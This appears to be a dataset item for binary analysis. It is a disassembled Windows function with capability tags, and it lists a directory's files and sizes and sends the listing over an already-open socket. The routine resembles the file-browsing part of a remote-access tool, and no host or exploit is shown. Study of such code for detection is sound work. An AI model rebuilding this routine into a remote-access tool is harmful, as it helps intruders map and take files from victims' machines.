Function at 0x4034b0
Capabilities:
Enumerate files on windows
Send data
Send data on socket

Disassembly:
sub esp, 0x3c4
mov eax, dword [0x41201c]
xor eax, esp
mov dword [esp + 0x3bc], eax
mov eax, dword [esp + 0x3c8]
push ebx
push ebp
push esi
push edi
push 0x12c
push eax
lea eax, [esp + 0x2a0]
push eax
call dword [sym.imp.MSVCR80.dll_strncpy]
lea eax, [esp + 0x2a4]
add esp, 0xc
add eax, 0xffffffff
xor ebx, ebx
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x4034f2
mov cx, word [0x40f698]
mov dl, byte [0x40f69a]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x29c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
push ebx
mov esi, eax
push ebx
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0x30d40
mov edi, eax
push 1
push edi
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x30d40
mov ebp, eax
push ebx
push ebp
call sub.MSVCR80.dll_memset
add esp, 0xc
lea edx, [esp + 0x18]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x403784
mov esi, dword [sym.imp.MSVCR80.dll_strncmp]
push 1
lea eax, [esp + 0x48]
push 0x40f69c
push eax
call esi
add esp, 0xc
test eax, eax
je 0x403768
push 2
lea ecx, [esp + 0x48]
push 0x40f6a0
push ecx
call esi
add esp, 0xc
test eax, eax
je 0x403768
test byte [esp + 0x18], 0x10
push 0x103
mov byte [esp + 0x194], bl
push ebx
je 0x403651
lea edx, [esp + 0x199]
push edx
call sub.MSVCR80.dll_memset
lea eax, [esp + 0x50]
add esp, 0xc
mov ecx, eax
mov dl, byte [eax]
add eax, 1
cmp dl, bl
jne 0x4035d0
lea edi, [esp + 0x190]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
cmp cl, bl
jne 0x4035e7
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x190]
add edi, 0xffffffff
lea esp, [esp]
mov al, byte [edi + 1]
add edi, 1
cmp al, bl
jne 0x403610
mov ax, word [0x40f6a8]
mov word [edi], ax
lea eax, [esp + 0x190]
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
add eax, 1
cmp dl, bl
jne 0x403630
mov edi, ebp
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
cmp cl, bl
jne 0x403642
jmp 0x40375a
lea ecx, [esp + 0x199]
push ecx
call sub.MSVCR80.dll_memset
lea eax, [esp + 0x50]
add esp, 0xc
mov esi, eax
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x403667
lea edi, [esp + 0x190]
sub eax, esi
add edi, 0xffffffff
lea esp, [esp]
mov cl, byte [edi + 1]
add edi, 1
cmp cl, bl
jne 0x403680
mov edx, dword [esp + 0x38]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
shr edx, 0xa
push edx
mov dword [esp + 0x175], eax
mov dword [esp + 0x179], eax
mov dword [esp + 0x17d], eax
mov dword [esp + 0x181], eax
mov dword [esp + 0x185], eax
mov dword [esp + 0x189], eax
mov dword [esp + 0x18d], eax
mov byte [esp + 0x191], al
lea eax, [esp + 0x174]
and ecx, 3
push str.__uK
push eax
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x17c], bl
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x17c]
add esp, 0xc
mov ecx, eax
mov dl, byte [eax]
add eax, 1
cmp dl, bl
jne 0x403700
lea edi, [esp + 0x190]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
cmp cl, bl
jne 0x403717
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x190]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
add eax, 1
cmp dl, bl
jne 0x403738
mov edi, ebp
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
lea ebx, [ebx]
mov cl, byte [edi + 1]
add edi, 1
cmp cl, bl
jne 0x403750
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40356a
mov edi, dword [esp + 0x10]
mov eax, ebp
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x403790
mov esi, dword [esp + 0x3dc]
push ebx
sub eax, edx
push eax
push ebp
push esi
call sub.WS2_32.dll_send
mov eax, dword [0x40f6b4]
mov ecx, dword [0x40f6b8]
mov dl, byte [0x40f6bc]
mov dword [esp + 0x15c], eax
xor eax, eax
push 0x32
mov dword [esp + 0x164], ecx
mov byte [esp + 0x168], dl
mov dword [esp + 0x169], eax
mov dword [esp + 0x16d], eax
mov word [esp + 0x171], ax
mov byte [esp + 0x173], al
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x15c]
lea ecx, [eax + 1]
mov dl, byte [eax]
add eax, 1
cmp dl, bl
jne 0x403802
push ebx
sub eax, ecx
push eax
lea eax, [esp + 0x164]
push eax
push esi
call sub.WS2_32.dll_send
push ebp
push 1
push edi
call dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov ecx, dword [esp + 0x3cc]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040e2e2
add esp, 0x3c4
ret